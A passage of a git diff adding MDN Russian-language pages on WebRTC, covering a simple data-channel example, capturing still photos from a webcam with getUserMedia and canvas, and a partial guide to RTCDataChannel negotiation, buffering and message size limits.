+<p>The first step is to create the "local" end of the connection. This is the peer that will send out the connection request.  The next step is to create the {{domxref("RTCDataChannel")}} by calling {{domxref("RTCPeerConnection.createDataChannel()")}} and set up event listeners to monitor the channel so that we know when it's opened and closed (that is, when the channel is connected or disconnected within that peer connection).</p>
+
+<p>It's important to keep in mind that each end of the channel has its own {{domxref("RTCDataChannel")}} object.</p>
+
+<h4 id="Set_up_the_remote_peer">Set up the remote peer</h4>
+
+<pre class="brush: js">remoteConnection = new RTCPeerConnection();
+remoteConnection.ondatachannel = receiveChannelCallback;</pre>
+
+<p>The remote end is set up similarly, except that we don't need to explicitly create an {{domxref("RTCDataChannel")}} ourselves, since we're going to be connected through the channel established above. Instead, we set up a {{event("datachannel")}} event handler; this will be called when the data channel is opened; this handler will receive an <code>RTCDataChannel</code> object; you'll see this below.</p>
+
+<h4 id="Set_up_the_ICE_candidates">Set up the ICE candidates</h4>
+
+<p>The next step is to set up each connection with ICE candidate listeners; these will be called when there's a new ICE candidate to tell the other side about.</p>
+
+<div class="note">
+<p><strong>Note:</strong> In a real-world scenario in which the two peers aren't running in the same context, the process is a bit more involved; each side provides, one at a time, a suggested way to connect (for example, UDP, UDP with a relay, TCP, etc.) by calling {{domxref("RTCPeerConnection.addIceCandidate()")}}, and they go back and forth until agreement is reached. But here, we just accept the first offer on each side, since there's no actual networking involved.</p>
+</div>
+
+<pre class="brush: js">    localConnection.onicecandidate = e =&gt; !e.candidate
+        || remoteConnection.addIceCandidate(e.candidate)
+        .catch(handleAddCandidateError);
+
+    remoteConnection.onicecandidate = e =&gt; !e.candidate
+        || localConnection.addIceCandidate(e.candidate)
+        .catch(handleAddCandidateError);</pre>
+
+<p>We configure each {{domxref("RTCPeerConnection")}} to have an event handler for the {{event("icecandidate")}} event.</p>
+
+<h4 id="Start_the_connection_attempt">Start the connection attempt</h4>
+
+<p>The last thing we need to do in order to begin connecting our peers is to create a connection offer.</p>
+
+<pre class="brush: js">    localConnection.createOffer()
+    .then(offer =&gt; localConnection.setLocalDescription(offer))
+    .then(() =&gt; remoteConnection.setRemoteDescription(localConnection.localDescription))
+    .then(() =&gt; remoteConnection.createAnswer())
+    .then(answer =&gt; remoteConnection.setLocalDescription(answer))
+    .then(() =&gt; localConnection.setRemoteDescription(remoteConnection.localDescription))
+    .catch(handleCreateDescriptionError);</pre>
+
+<p>Let's go through this line by line and decipher what it means.</p>
+
+<ol>
+ <li>First, we call {{domxref("RTCPeerConnection.createOffer()")}} method to create an {{Glossary("SDP")}} (Session Description Protocol) blob describing the connection we want to make. This method accepts, optionally, an object with constraints to be met for the connection to meet your needs, such as whether the connection should support audio, video, or both. In our simple example, we don't have any constraints.</li>
+ <li>If the offer is created successfully, we pass the blob along to the local connection's {{domxref("RTCPeerConnection.setLocalDescription()")}} method. This configures the local end of the connection.</li>
+ <li>The next step is to connect the local peer to the remote by telling the remote peer about it. This is done by calling <code>remoteConnection.</code>{{domxref("RTCPeerConnection.setRemoteDescription()")}}. Now the <code>remoteConnection</code> knows about the connection that's being built. In a real application, this would require a signaling server to exchange the description object.</li>
+ <li>That means it's time for the remote peer to reply. It does so by calling its {{domxref("RTCPeerConnection.createAnswer", "createAnswer()")}} method. This generates a blob of SDP which describes the connection the remote peer is willing and able to establish. This configuration lies somewhere in the union of options that both peers can support.</li>
+ <li>Once the answer has been created, it's passed into the remoteConnection by calling {{domxref("RTCPeerConnection.setLocalDescription()")}}. That establishes the remote's end of the connection (which, to the remote peer, is its local end. This stuff can be confusing, but you get used to it). Again, this would normally be exchanged through a signalling server.</li>
+ <li>Finally, the local connection's remote description is set to refer to the remote peer by calling localConnection's {{domxref("RTCPeerConnection.setRemoteDescription()")}}.</li>
+ <li>The <code>catch()</code> calls a routine that handles any errors that occur.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note:</strong> Once again, this process is not a real-world implementation; in normal usage, there's two chunks of code running on two machines, interacting and negotiating the connection. A side channel, commonly called a “signalling server,” is usually used to exchange the description (which is in <strong>application/sdp</strong> form) between the two peers.</p>
+</div>
+
+<h4 id="Handling_successful_peer_connection">Handling successful peer connection</h4>
+
+<p>As each side of the peer-to-peer connection is successfully linked up, the corresponding {{domxref("RTCPeerConnection")}}'s {{event("icecandidate")}} event is fired. These handlers can do whatever's needed, but in this example, all we need to do is update the user interface:</p>
+
+<pre class="brush: js">  function handleLocalAddCandidateSuccess() {
+    connectButton.disabled = true;
+  }
+
+  function handleRemoteAddCandidateSuccess() {
+    disconnectButton.disabled = false;
+  }</pre>
+
+<p>The only thing we do here is disable the "Connect" button when the local peer is connected and enable the "Disconnect" button when the remote peer connects.</p>
+
+<h4 id="Connecting_the_data_channel">Connecting the data channel</h4>
+
+<p>Once the {{domxref("RTCPeerConnection")}} is open, the {{event("datachannel")}} event is sent to the remote to complete the process of opening the data channel; this invokes our <code>receiveChannelCallback()</code> method, which looks like this:</p>
+
+<pre class="brush: js">  function receiveChannelCallback(event) {
+    receiveChannel = event.channel;
+    receiveChannel.onmessage = handleReceiveMessage;
+    receiveChannel.onopen = handleReceiveChannelStatusChange;
+    receiveChannel.onclose = handleReceiveChannelStatusChange;
+  }</pre>
+
+<p>The {{event("datachannel")}} event includes, in its channel property, a reference to a {{domxref("RTCDataChannel")}} representing the remote peer's end of the channel. This is saved, and we set up, on the channel, event listeners for the events we want to handle. Once this is done, our <code>handleReceiveMessage()</code> method will be called each time data is received by the remote peer, and the <code>handleReceiveChannelStatusChange()</code> method will be called any time the channel's connection state changes, so we can react when the channel is fully opened and when it's closed.</p>
+
+<h3 id="Handling_channel_status_changes">Handling channel status changes</h3>
+
+<p>Both our local and remote peers use a single method to handle events indicating a change in the status of the channel's connection.</p>
+
+<p>When the local peer experiences an open or close event, the <code>handleSendChannelStatusChange()</code> method is called:</p>
+
+<pre class="brush: js">  function handleSendChannelStatusChange(event) {
+    if (sendChannel) {
+      var state = sendChannel.readyState;
+
+      if (state === "open") {
+        messageInputBox.disabled = false;
+        messageInputBox.focus();
+        sendButton.disabled = false;
+        disconnectButton.disabled = false;
+        connectButton.disabled = true;
+      } else {
+        messageInputBox.disabled = true;
+        sendButton.disabled = true;
+        connectButton.disabled = false;
+        disconnectButton.disabled = true;
+      }
+    }
+  }</pre>
+
+<p>If the channel's state has changed to "open", that indicates that we have finished establishing the link between the two peers. The user interface is updated correspondingly by enabling the text input box for the message to send, focusing the input box so that the user can immediately begin to type, enabling the "Send" and "Disconnect" buttons, now that they're usable, and disabling the "Connect" button, since it is not needed when the conneciton is open.</p>
+
+<p>If the state has changed to "closed", the opposite set of actions occurs: the input box and "Send" button are disabled, the "Connect" button is enabled so that the user can open a new connection if they wish to do so, and the "Disconnect" button is disabled, since it's not useful when no connection exists.</p>
+
+<p>Our example's remote peer, on the other hand, ignores the status change events, except for logging the event to the console:</p>
+
+<pre class="brush: js">  function handleReceiveChannelStatusChange(event) {
+    if (receiveChannel) {
+      console.log("Receive channel's status has changed to " +
+                  receiveChannel.readyState);
+    }
+  }</pre>
+
+<p>The <code>handleReceiveChannelStatusChange()</code> method receives as an input parameter the event which occurred; this will be an {{domxref("RTCDataChannelEvent")}}.</p>
+
+<h3 id="Sending_messages">Sending messages</h3>
+
+<p>When the user presses the "Send" button, the sendMessage() method we've established as the handler for the button's {{event("click")}} event is called. That method is simple enough:</p>
+
+<pre class="brush: js">  function sendMessage() {
+    var message = messageInputBox.value;
+    sendChannel.send(message);
+
+    messageInputBox.value = "";
+    messageInputBox.focus();
+  }</pre>
+
+<p>First, the text of the message is fetched from the input box's {{htmlattrxref("value", "input")}} attribute. This is then sent to the remote peer by calling {{domxref("RTCDataChannel.send", "sendChannel.send()")}}. That's all there is to it! The rest of this method is just some user experience sugar -- the input box is emptied and re-focused so the user can immediately begin typing another message.</p>
+
+<h3 id="Receiving_messages">Receiving messages</h3>
+
+<p>When a "message" event occurs on the remote channel, our <code>handleReceiveMessage()</code> method is called as the event handler.</p>
+
+<pre class="brush: js">  function handleReceiveMessage(event) {
+    var el = document.createElement("p");
+    var txtNode = document.createTextNode(event.data);
+
+    el.appendChild(txtNode);
+    receiveBox.appendChild(el);
+  }</pre>
+
+<p>This method simply performs some basic {{Glossary("DOM")}} injection; it creates a new {{HTMLElement("p")}} (paragraph) element, then creates a new {{domxref("Text")}} node containing the message text, which is received in the event's <code>data</code> property. This text node is appended as a child of the new element, which is then inserted into the <code>receiveBox</code> block, thereby causing it to draw in the browser window.</p>
+
+<h3 id="Disconnecting_the_peers">Disconnecting the peers</h3>
+
+<p>When the user clicks the "Disconnect" button, the <code>disconnectPeers()</code> method previously set as that button's handler is called.</p>
+
+<pre class="brush: js">  function disconnectPeers() {
+
+    // Close the RTCDataChannels if they're open.
+
+    sendChannel.close();
+    receiveChannel.close();
+
+    // Close the RTCPeerConnections
+
+    localConnection.close();
+    remoteConnection.close();
+
+    sendChannel = null;
+    receiveChannel = null;
+    localConnection = null;
+    remoteConnection = null;
+
+    // Update user interface elements
+
+    connectButton.disabled = false;
+    disconnectButton.disabled = true;
+    sendButton.disabled = true;
+
+    messageInputBox.value = "";
+    messageInputBox.disabled = true;
+  }
+</pre>
+
+<p>This starts by closing each peer's {{domxref("RTCDataChannel")}}, then, similarly, each {{domxref("RTCPeerConnection")}}. Then all the saved references to these objects are set to <code>null</code> to avoid accidental reuse, and the user interface is updated to reflect the fact that the connection has been closed.</p>
+
+<h2 id="Следующие_шаги">Следующие шаги</h2>
+
+<p><a href="https://mdn-samples.mozilla.org/s/webrtc-simple-datachannel">Попробуйте пример в деле</a>  и посмотрите на <a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-simple-datachannel">исходный код простого примера</a>, доступный на GitHub.</p>
diff --git a/files/ru/web/api/webrtc_api/taking_still_photos/index.html b/files/ru/web/api/webrtc_api/taking_still_photos/index.html
new file mode 100644
index 0000000000..ec5e7ec42d
--- /dev/null
+++ b/files/ru/web/api/webrtc_api/taking_still_photos/index.html
@@ -0,0 +1,222 @@
+---
+title: Захват кадров с WebRTC
+slug: Web/API/WebRTC_API/Taking_still_photos
+tags:
+  - Захват WebRTC
+translation_of: Web/API/WebRTC_API/Taking_still_photos
+---
+<p dir="rtl"><span><span><span><span>{{WebRTCSidebar}}</span></span></span></span></p>
+
+<p><span class="seoSummary"><span><span><span><span>В этой статье объясняется как использовать WebRTC для получения доступа к камере компьютера или мобильного устройства, и захвата кадров с их помощью. </span></span></span></span></span><a href="https://mdn-samples.mozilla.org/s/webrtc-capturestill"><span><span><span><span>Ознакомтесь с примером,</span></span></span></span></a><span><span><span><span> а затем узнайте как это работает.</span></span></span></span></p>
+
+<p><img alt="Uz WebRTC balstīta attēla uztveršanas lietotne - kreisajā pusē un bez tīmekļa kameras uzņemšanas video straumē un poga" src="https://mdn.mozillademos.org/files/10281/web-rtc-demo.png" style="display: block; height: 252px; margin: 0 auto; width: 677px;"></p>
+
+<p><span><span><span><span>Перейдите непостредственно </span></span></span></span><a class="external" href="https://github.com/mdn/samples-server/tree/master/s/webrtc-capturestill" rel="noopener"><span><span><span><span>к коду на Github</span></span></span></span></a><span><span><span><span> , при желании.</span></span></span></span></p>
+
+<h2 id="Разметка_HTML"><span><span><span><span>Разметка HTML</span></span></span></span></h2>
+
+<p><a class="external" href="https://github.com/mdn/samples-server/tree/master/s/webrtc-capturestill/index.html" rel="noopener"><span><span><span><span>Наш HTML интерфейс</span></span></span></span></a><span><span><span><span> состоит из двух секций : панель отображения видео потока, из которого будет производиться захват и панель отображения результата захвата. Каждая панель имеет свой элемент </span></span></span><span><span><span>{{HTMLElement ("div")}}, для облегчения стилизации и управления.</span></span></span></span></p>
+
+<p><span><span><span><span>Первая панель слева содержит два компонента : элемент {{HTMLElement ("video")}} , который будет получать поток, отводимый с камеры, и элемент  </span></span></span></span>{{HTMLElement("button")}}, каторый будет использоваться пользователем для активации захвата видео кадра.</p>
+
+<pre>  &lt;div class="camera"&gt;
+    &lt;video id="video"&gt;Video stream not available.&lt;/video&gt;
+    &lt;button id="startbutton"&gt;Take photo&lt;/button&gt;
+  &lt;/div&gt;</pre>
+
+<p>Все это просто, и мы увидим как они связаны между собой, когда обратимся к коду  JavaScript .</p>
+
+<p>В разметке имеется элемент {{HTMLElement("canvas")}} , который сохраняет захваченный кадр, который может быть дополнительно обработан и конвертируется в выходной файл изображения. Элемент<code> canvas </code>является скрытым, в его стиле свойство {{cssxref("display")}}<code>:none</code>, во избежании поломки интерфейса, где пользователю совершенно не обязательно видеть служебные элементы.</p>
+
+<p>Для отображения пользователю результата захвата кадра, в интерфейсе расположен элемент {{HTMLElement("img")}}.</p>
+
+<pre>  &lt;canvas id="canvas"&gt;
+  &lt;/canvas&gt;
+  &lt;div class="output"&gt;
+    &lt;img id="photo" alt="The screen capture will appear in this box."&gt;
+  &lt;/div&gt;</pre>
+
+<p>Вот и все, что касается HTML. Остальное - просто пух макета страницы и немного текста, предлагающего ссылку на эту страницу.</p>
+
+<h2 id="Код_JavaScript">Код JavaScript</h2>
+
+<p>Посмотрим на  <a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-capturestill/capture.js" rel="noopener">JavaScript code</a>. Разобъем его на части, для упрощения объяснения.</p>
+
+<h3 id="Инициализация">Инициализация</h3>
+
+<p>Начнем с обертки всего скрипта в анонимную функцию, во избежании конфликтов глобальных переменных, затем инициализируем различные нужные  переменные.</p>
+
+<pre>(function() {
+  var width = 320;    // Этим создадим ширину фотографии
+  var height = 0;    // Это будет вычисляться на основе входящего потока
+
+  var streaming = false;
+
+  var video = null;
+  var canvas = null;
+  var photo = null;
+  var startbutton = null;</pre>
+
+<p>Все переменные выше:</p>
+
+<dl>
+ <dt><code>width</code></dt>
+ <dd>Какой бы не был размер входящего видео, мы намерены масштабировать результирующее изображение к ширине в 320 px.</dd>
+ <dt><code>height</code></dt>
+ <dd>Результирующая высота изображения будет вычисляться на основе переданной ширины и соотношению сторон потока с камеры.</dd>
+ <dt><code>streaming</code></dt>
+ <dd>Указывает на текущую активность видеопотока.</dd>
+ <dt><code>video</code></dt>
+ <dd>Будет содержать ссылку на элемент {{HTMLElement("video")}}  после загрузки страницы.</dd>
+ <dt><code>canvas</code></dt>
+ <dd>Содержит ссылку на элемент  {{HTMLElement("canvas")}} после загрузки страницы.</dd>
+ <dt><code>photo</code></dt>
+ <dd>Содержит ссылку на элемент  {{HTMLElement("img")}} после загрузки страницы.</dd>
+ <dt><code>startbutton</code></dt>
+ <dd>Содержит ссылку на элемент  {{HTMLElement("button")}} после загрузки страницы, используюется для старта захвата.</dd>
+</dl>
+
+<h3 id="Функция_startup">Функция  startup()</h3>
+
+<p>Функция <code>startup()</code> запускается, когда страница закончила загрузку, благодаря установке {{domxref("window.addEventListener()")}}. Работа функции состоит в том, что бы запросить доступ у пользователя к его камере, инициализировать элемент  {{HTMLElement("img")}} в значение по умолчанию, и установить обработчики событий, необходимых для получения каждого видеокадра с камеры, запускать захват изображения, при нажатии на кнопку.</p>
+
+<h4 id="Получаем_ссылки_на_элементы">Получаем ссылки на элементы</h4>
+
+<p>Сначала, получим ссылки на основные элементы, доступ к которым нам необходим.</p>
+
+<pre>  function startup() {
+    video = document.getElementById('video');
+    canvas = document.getElementById('canvas');
+    photo = document.getElementById('photo');
+    startbutton = document.getElementById('startbutton');</pre>
+
+<h4 id="Получаем_медиапоток">Получаем медиапоток </h4>
+
+<p>Следующая задача - получение медиапотока:</p>
+
+<pre>    navigator.mediaDevices.getUserMedia({ video: true, audio: false })
+    .then(function(stream) {
+        video.srcObject = stream;
+        video.play();
+    })
+    .catch(function(err) {
+        console.log("An error occurred: " + err);
+    });
+</pre>
+
+<p>Здесь мы вазываем метод  {{domxref("MediaDevices.getUserMedia()")}} , запрашивая медиапоток без аудиопотока (<code>audio : false</code>). Он возвращает промис, на котором мы определяем методы успешного и не успешного выполнений.</p>
+
+<p>Успешное выполнение промиса передает объект потока( <code>stream</code> ) в качестве параметра функции метода <code>then()</code>., который присваевается свойству <code>srcObject</code> элемента {{HTMLElement("video")}}, направляя поток в него.</p>
+
+<p>Как только поток связан с элементом <code>&lt;video&gt;</code> ,  запускаем его воспроизведение, вызовом метода <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement#play">HTMLMediaElement.play()</a></code>.</p>
+
+<p>Метод обработки ошибки промиса  вызывается в случае, если получение потока окажется неудачным, к примеру, когда к устройству подключена несовместимая камера, или пользователь запретил к ней доступ.</p>
+
+<h4 id="Обработка_события_начала_воспроизведения">Обработка события начала воспроизведения</h4>
+
+<p>После момента вызова метода  <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement#play">HTMLMediaElement.play()</a></code> на элементе {{HTMLElement("video")}}, возникает промежуток времени до начала воспроизведения видеопотока. Для недопущения блокирования интерфейса пользователя в это промежуток, нужно установить обработчик события {{event("canplay")}} элемента <code>video</code> , который сработает, когда элемент начнет воспроизведение видеопотока. В этот момент все свойства элемента <code>video</code> конфигурируются на основе формата потока.</p>
+
+<pre>    video.addEventListener('canplay', function(ev){
+      if (!streaming) {
+        height = video.videoHeight / (video.videoWidth/width);
+
+        video.setAttribute('width', width);
+        video.setAttribute('height', height);
+        canvas.setAttribute('width', width);
+        canvas.setAttribute('height', height);
+        streaming = true;
+      }
+    }, false);</pre>
+
+<p>Функциональность обработчика не будет запущена, если он запускается повторно. Это отслеживает переменная <code>streaming</code> , которая содержит значение  <code>false</code> при первом запуске обработчика.</p>
+
+<p>Если это действительно первый запуск, мы устанавливаем высоту видео на основе разницы в размере между фактическим размером видео - <code>video.videoWidth</code> и шириной, на которую мы собираемся его визуализировать - <code>width</code></p>
+
+<p>Наконец, свойства <code>width</code> и <code>height</code> элементов<code> video</code> и <code>canvas</code> устанавливаются так, чтобы соответствовать друг другу, вызывая метод {{domxref("Element.setAttribute()")}} на каждом из двух свойств каждого элемента, и, при необходимости, устанавливая ширину и высоту. Наконец, мы установили для  переменной <code>streaming</code> значение <code>true</code>, чтобы предотвратить случайное повторное выполнение этого установочного кода.</p>
+
+<h4 id="Обработка_нажатий_кнопки">Обработка нажатий кнопки</h4>
+
+<p>Для захвата кадра, пользователь каждый раз нажимает кнопку  <code>startbutton</code>, нужно добавить обработчик события кнопки, для его вызова при возникновении события  {{event("click")}} :</p>
+
+<pre>    startbutton.addEventListener('click', function(ev){
+      takepicture();
+      ev.preventDefault();
+    }, false);</pre>
+
+<p>Метод прост, он вызывает функцию  <code>takepicture()</code>, определяемую ниже в секции  {{anch("Capturing a frame from the stream")}}, затем вызывает метод {{domxref("Event.preventDefault()")}} на полученном объекте события, для предотвращения действия обработки события более одного раза.</p>
+
+<h4 id="Завершение_метода_startup">Завершение метода  startup() </h4>
+
+<p>Еще пара строк кода в методе <code>startup()</code>:</p>
+
+<pre>    clearphoto();
+  }</pre>
+
+<p>Вызов метода <code>clearphoto()</code> описывается в секции {{anch("Clearing the photo box")}}.</p>
+
+<h3 id="Отчистка_бокса_для_фотографии">Отчистка бокса для фотографии</h3>
+
+<p>Очистка бокса фотографии включает создание изображения, а затем преобразование его в формат, используемый элементом {{HTMLElement ("img")}}, который отображает последний снятый кадр. Код ниже:</p>
+
+<pre>  function clearphoto() {
+    var context = canvas.getContext('2d');
+    context.fillStyle = "#AAA";
+    context.fillRect(0, 0, canvas.width, canvas.height);
+
+    var data = canvas.toDataURL('image/png');
+    photo.setAttribute('src', data);
+  }</pre>
+
+<p>Начнем с получения ссылки на скрытый элемент {{HTMLElement ("canvas")}}, который мы используем для рендеринга за пределами экрана. Затем мы устанавливаем свойсто <code>fillStyle</code> в  <code>#AAA</code> ( светло-серый) и заполняем весь холст этим цветом, вызывая метод {{domxref("CanvasRenderingContext2D.fillRect()","fillRect()")}}.</p>
+
+<p>Наконец, в этой функции мы конвертируем <code>canvas</code> в изображение PNG и вызываем метод <code>{{domxref("Element.setAttribute", "photo.setAttribute()")}}</code> отображая захваченный цветовой фон в элементе изображения (бокса для фотографии).</p>
+
+<h3 id="Захват_кадра_из_видеопотока">Захват кадра из видеопотока</h3>
+
+<p>Последняя функция, требующая определения и являющаяся основным смыслом всего примера - <code>takepicture()</code> , которая захватывает текущий видеокадр, конвертирует его в формат PNG, и отображает его в блоке отображения кадра. Код её ниже:</p>
+
+<pre>  function takepicture() {
+    var context = canvas.getContext('2d');
+    if (width &amp;&amp; height) {
+      canvas.width = width;
+      canvas.height = height;
+      context.drawImage(video, 0, 0, width, height);
+
+      var data = canvas.toDataURL('image/png');
+      photo.setAttribute('src', data);
+    } else {
+      clearphoto();
+    }
+  }</pre>
+
+<p>Как и в случае, когда нам нужно работать с содержимым <code>canvas</code>, мы начинаем с {{domxref("CanvasRenderingContext2D","2D drawing context")}}  для скрытого <code>canvas</code>.</p>
+
+<p>Затем, если ширина и высота не равны нулю (имеется в виду, что есть, по крайней мере, потенциально допустимые данные изображения), мы устанавливаем ширину и высоту <code>canvas</code>, чтобы они соответствовали ширине захваченного кадра, затем вызываем метод {{domxref("CanvasRenderingContext2D.drawImage()", "drawImage()")}} , что бы отрисовать текущий кадр видео в контексте <code>canvas</code>, заполнив весь холст изображением кадра.</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание :</strong> Используется факт того, что интерфейс {{domxref("HTMLVideoElement")}} похож на интерфейс {{domxref("HTMLImageElement")}} для любых API , которые принимают <code>HTMLImageElement</code> в качестве параметра, с текущим кадром видео, представленным как содержимое изображения.</p>
+</div>
+
+<p>Как тоько  <code>canvas</code> будет содержать захваченное видео, конвертируем его в  PNG формат, вызывая метод {{domxref("HTMLCanvasElement.toDataURL()")}} на нем; наконец вызываем метод {{domxref("Element.setAttribute", "photo.setAttribute()")}} отображая захваченное изображение в элементе изображения (бокса фотографии).</p>
+
+<p>Если подходящее изображение не доступно (то есть, <code>width</code> и <code>height</code> равны  0), отчищаем содержимое элемента изображения, вызывая метод <code>clearphoto()</code>.</p>
+
+<h2 id="Приколы_с_фильтрами">Приколы с фильтрами</h2>
+
+<p>Поскольку мы снимаем изображения с веб-камеры пользователя, захватывая кадры из элемента {{HTMLElement("video")}} , можно легко применить фильтры и забавные эффекты к элементу <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">video</span></font>. Оказывается, любые CSS-фильтры, которые вы применяете к элементу с помощью свойства {{cssxref ("filter")}}, влияют на захваченную фотографию.Эти фильтры могут варьироваться от простых (делая изображение черно-белым) до экстремальных (размытие по Гауссу и вращение оттенка).</p>
+
+<p>Вы можете экспериментировать с этими эффектами, используя, например, инструмент разработчика FirefoxYou  <a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Style_Editor">редактор стилей</a>; смотрим <a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Edit_CSS_filters">Редактирование с CSS фильтрами</a> о подробностях выполнения.</p>
+
+<h2 id="Использование_определенных_устройств">Использование определенных устройств</h2>
+
+<p>При необходимости вы можете ограничить набор разрешенных источников видео, определенным устройством или набором устройств. Для этого нужно вызвать метод {{domxref("navigator.mediaDevices.enumerateDevices()")}}. Когда промис разрешиться массивом объектов {{domxref("MediaDeviceInfo")}} , описывающих доступные устройства , выберите те, которым хотите разрешить доступ и укажите соответствующий идентификатор устройства {{domxref("MediaTrackConstraints.deviceId", "deviceId")}} или несколько <code>deviceId</code> в объекте  {{domxref("MediaTrackConstraints")}} , переданном в  {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}.</p>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li><a href="https://mdn-samples.mozilla.org/s/webrtc-capturestill">Пробуем пример</a></li>
+ <li><a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-capturestill">Примеры на Github</a></li>
+ <li>{{domxref("Navigator.mediaDevices.getUserMedia()")}}</li>
+ <li>{{SectionOnPage("/en-US/docs/Web/API/Canvas_API/Tutorial/Using_images","Использование изображений")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.drawImage()")}}</li>
+</ul>
diff --git a/files/ru/web/api/webrtc_api/using_data_channels/index.html b/files/ru/web/api/webrtc_api/using_data_channels/index.html
new file mode 100644
index 0000000000..f8074830d4
--- /dev/null
+++ b/files/ru/web/api/webrtc_api/using_data_channels/index.html
@@ -0,0 +1,94 @@
+---
+title: Использование каналов данных в WebRTC
+slug: Web/API/WebRTC_API/Using_data_channels
+translation_of: Web/API/WebRTC_API/Using_data_channels
+---
+<p>{{WebRTCSidebar}}{{draft}}</p>
+
+<p>Как только WebRTC соединение установлено, используя интерфейс {{domxref("RTCPeerConnection")}}, приложение в состоянии отправлять и получать медиаданные между двумя узлами в соединении. Но от WebRTC можно получить больше. В этом руководстве мы изучим то, как добавить канал данных в соединение, который будет использован для безопасной передачи произвольных данных (данных любого типа, в любом формате).</p>
+
+<div class="note">
+<p> Поскольку все компоненты WebRTC требуют использования кодирования, любые данные, передаваемые через <code>RTCDataChannel</code> автоматически защищаются, используя Datagram Transport Layer Security (<strong>DTLS</strong>). Смотри {{anch("Security")}}  ниже для подробной информации.</p>
+</div>
+
+<h2 id="Создание_канала_данных">Создание канала данных</h2>
+
+<p>Основной транспорт передачи данных, использующийся объектом типа {{domxref("RTCDataChannel")}} может быть создан двумя способами:</p>
+
+<ul>
+ <li>Позволить WebRTC создать транспорт и сообщить об этом удаленному узлу (вызвав у него событие типа  {{event("datachannel")}} ). Это простой способ, и он подходит для многих случаев, но не достаточно гибок для широких нужд.</li>
+ <li>Написать свои скрипты по согласованию транспорта данных, и сигнализированию другому узлу о необходимости присоединения к новому каналу данных.</li>
+</ul>
+
+<p>Разберем оба случая, начиная с первого, как с наиболее распространенного.</p>
+
+<h3 id="Автоматический_режим_согласования">Автоматический режим согласования</h3>
+
+<p>Зачастую, разработчик может позволить объекту соединения обработать согласование  {{domxref("RTCDataChannel")}} соединения за него. Для этого нужно вызвать метод {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}} без определения значения свойства {{domxref("RTCDataChannelInit.negotiated", "negotiated")}}, или определить свойство значением <code>false</code>. Это автоматически активирует <code>RTCPeerConnection</code> на обработку согласования соединения за разработчика, вызывая событие создание канала данных у удаленного узла, связывая два узла вместе по сети.</p>
+
+<p>Вызов метода <code>createDataChannel()</code> немедленно возвращает объект типа <code>RTCDataChannel</code>. Подписываясь на событие  {{domxref("RTCDataChannel.open_event", "open")}} , можно будет точно определить когда соединение успешно откроется.</p>
+
+<pre class="brush: js">let dataChannel = pc.createDataChannel("MyApp Channel");
+
+dataChannel.addEventListener("open", (event) =&gt; {
+  beginTransmission(dataChannel);
+});
+</pre>
+
+<h3 id="Ручной_режим_согласования">Ручной режим согласования</h3>
+
+<p>Для ручного согласования соединения, сначала необходимо создать новый объект типа {{domxref("RTCDataChannel")}}, используя метод  {{domxref("RTCPeerConnection.createDataChannel", "createDataChannel()")}} объекта {{domxref("RTCPeerConnection")}}, определяя свойство  {{domxref("RTCDataChannelInit.negotiated", "negotiated")}} в значение <code>true</code>. Это сигнализирует объекту соединения не пытыться согласовать соединение автоматически.</p>
+
+<p>Затем нужно согласовать соединение, используя веб сервер или иные средства коммуникации. Этот процесс должен сигнализировать удаленному узлу, что нужно создать собственный объект типа <code>RTCDataChannel</code> со свойством  <code>negotiated</code>, установленным в значение  <code>true</code>, используя тот же идентификатор канала {{domxref("RTCDataChannel.id", "id")}}. Это свяжет два объекта типа  <code>RTCDataChannel </code>через объет типа <code>RTCPeerConnection</code>.</p>
+
+<pre class="brush: js">let dataChannel = pc.createDataChannel("MyApp Channel", {
+  negotiated: true
+});
+
+dataChannel.addEventListener("open", (event) =&gt; {
+  beginTransmission(dataChannel);
+});
+
+requestRemoteChannel(dataChannel.id);</pre>
+
+<p>В данном примере канал создается установкой значения свойства <code>negotiated</code> в <code>true</code>, затем вызывается функция  <code>requestRemoteChannel()</code> , запуская согласование соединения для создания удаленного канала с тем же идентификатором как у локального канала. Таким образом создание каналов данных позволяет использовать различные свойства, создавая их декларативно, использьзуя одно и тоже значение идентификатора канала  <code>id</code>.</p>
+
+<h2 id="Буферизация">Буферизация</h2>
+
+<p>Каналы данных WebRTC поддерживают буферизацию исходящих данных. Это работает автоматически. Несмотря на то, что нет способа контролировать размер буфера, вы можете узнать, сколько данных в настоящее время буферизуется, и вы можете выбрать уведомление о событии, когда в буфере начинают заканчиваться данные в очереди. Это облегчает написание эффективных подпрограмм, которые гарантируют, что всегда есть данные, готовые к отправке, без чрезмерного использования памяти или полного переполнения канала. </p>
+
+<p><strong>&lt;&lt;&lt;write more about using bufferedAmount, bufferedAmountLowThreshold, onbufferedamountlow, and bufferedamountlow here&gt;&gt;&gt;</strong></p>
+
+<p>...</p>
+
+<h2 id="Ограничения_размеров_сообщений">Ограничения размеров сообщений</h2>
+
+<p>Для любых данных, передаваемых по сети, существуют ограничения по размеру. На фундаментальном уровне отдельные сетевые пакеты не могут быть больше определенного значения (точное число зависит от сети и используемого транспортного уровня).  На уровне приложения, то есть в пределах {{Glossary("user agent", "user agent's")}} реализация WebRTC, в которой работает ваш код, реализует функции поддержки сообщений, размер которых превышает максимальный размер пакета на транспортном уровне сети.</p>
+
+<p>Это может усложнить ситуацию, поскольку вы не знаете, каковы ограничения по размеру для различных пользовательских агентов и как они реагируют на отправку или получение сообщения большего размера. Даже когда пользовательские агенты совместно используют одну и ту же базовую библиотеку для обработки данных протокола управления потоком (SCTP), могут существовать различия в зависимости от того, как используется библиотека. Например, и Firefox, и Google Chrome используют библиотеку <code>usrsctp</code> для реализации SCTP, но все еще существуют ситуации, в которых передача данных по <code>RTCDataChannel</code> каналу может завершиться сбоем из-за различий в том, как они вызывают библиотеку и обрабатывают ошибки, которые она возвращает.</p>
+
